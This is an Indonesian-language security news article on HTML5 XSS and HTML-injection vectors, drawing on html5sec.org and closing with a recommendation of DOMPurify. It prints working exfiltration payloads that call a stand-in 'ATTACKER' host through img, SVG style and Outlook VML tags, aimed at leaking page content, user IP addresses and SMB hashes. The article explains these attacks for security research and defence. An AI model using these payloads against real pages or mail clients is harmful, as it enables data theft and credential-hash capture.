28 Sep 2024
sysbraykr.com news - HTML5 membawa sejumlah fitur baru yang memperkaya interaktivitas dan pengalaman pengguna di web. Namun, bersamaan dengan fitur-fitur ini, datang pula potensi risiko keamanan yang harus diperhatikan, terutama dalam konteks XSS (Cross-Site Scripting) dan injeksi HTML. Dalam artikel ini, kita akan membahas beberapa vektor serangan XSS, payload eksfiltrasi data, serta teknik untuk memanfaatkan fitur HTML5 dengan cara yang berpotensi mengekspos kelemahan.
HTML5sec: Vektor Serangan XSS dan Uji Coba Payload
Situs html5sec.org menyediakan hampir 150 vektor serangan XSS, yang bisa diuji melalui demo dalam iframe dengan berbagai DTD (Document Type Definitions) seperti HTML5, HTML4, dan XHTML. Contoh payload untuk alert(1) disediakan dengan ekstensi file berbeda, seperti css, html, js, svg, swf, pdf, dan lainnya.
Contoh payload termasuk berbagai jenis injeksi yang dapat digunakan untuk uji coba terhadap halaman web rentan. Sebagai contoh:
<img dynsrc="https://leaking.via/img-dynsrc">
<video controls><source src="https://leaking.via/video-source-src" type="video/mp4"></video>
<style>@import url(https://leaking.via/css-import-url);</style>
<svg><rect cursor="url(https://leaking.via/svg-cursor),auto" /></svg>
Vektor-vektor ini dapat digunakan untuk memeriksa bagaimana sistem menangani input tak terpercaya yang diembed ke dalam HTML.
Eksfiltrasi Data dengan Elemen HTML5
Sering kali, injeksi HTML tidak hanya digunakan untuk serangan XSS, tetapi juga untuk mencuri informasi dari sistem target. Contoh elemen HTML yang dapat memicu permintaan sumber daya eksternal (seperti gambar atau file CSS) dapat dimanfaatkan untuk out-of-band (OOB) data exfiltration.
Elemen HTML yang dapat memicu permintaan sumber daya:
<img src="http://ATTACKER/?q=[data]">
– Mengirimkan data dari halaman ke server penyerang.<svg><style>circle { background-image: url(https://ATTACKER/200); }</style><circle></circle></svg>
– Digunakan untuk mencuri data pengguna ketika mereka membuka email di klien email rentan.
Ini sering kali menjadi dasar serangan seperti tracker pixels, yang digunakan untuk melacak pengguna melalui email yang mereka buka.
Contoh Nyata dari Serangan Eksfiltrasi HTML5
Berikut beberapa contoh serangan nyata di mana fitur HTML5 atau XSS dimanfaatkan untuk mengeksfiltrasi data:
Serangan Dangling Markup di Chrome
Skenario: Ketika halaman HTTP dimigrasikan ke HTTPS.
Payload:
<img src="http://ATTACKER/?q=content_leak">
Hasil: Bocornya konten halaman.
Skenario: Pengguna membuka email dengan gambar SVG.
Payload:
<svg><style>circle { background-image: url(https://ATTACKER/200); }</style><circle></circle></svg>
Hasil: IP pengguna bocor ketika membuka email.
Kebocoran IP dan Isi File di macOS
Skenario: Pengguna membuka file teks di aplikasi TextEdit macOS.
Payload: Menggunakan
<iframe>
untuk mengakses file lokal.Hasil: Kebocoran alamat IP dan isi file lokal.
Pembajakan SMB Hash di Microsoft Outlook
Skenario: Pengguna membuka email dengan elemen VML (Vector Markup Language).
Payload:
<v:background><v:fill src="its:/ATTACKER/foobar"></v:fill></v:background>
Hasil: Permintaan SMB/WebDAV eksternal, memungkinkan penyerang mendapatkan hash SMB pengguna.
Mengamankan Aplikasi Web dari Injeksi HTML dan XSS
Untuk melindungi aplikasi dari serangan ini, sangat penting untuk menggunakan alat dan teknik yang tepat seperti DOMPurify, sebuah pustaka JavaScript yang digunakan untuk memurnikan input HTML dan mencegah injeksi kode berbahaya.
DOMPurify melakukan sanitasi terhadap HTML yang disuntikkan dan mencegah eksekusi payload berbahaya. Ini dapat membantu dalam mencegah berbagai serangan injeksi HTML dan XSS.
Kesimpulan
Dengan memahami vektor serangan yang tersedia melalui HTML5 dan elemen-elemen terkait, peneliti keamanan dapat lebih baik dalam mengidentifikasi potensi kerentanan dalam aplikasi web. Penggunaan payload dan teknik eksfiltrasi yang cerdas memungkinkan eksploitasi celah dalam sistem yang tidak terlindungi dengan baik. Di sisi lain, aplikasi yang aman harus selalu memperbarui mekanisme sanitasi dan filtrasi input untuk mencegah serangan ini.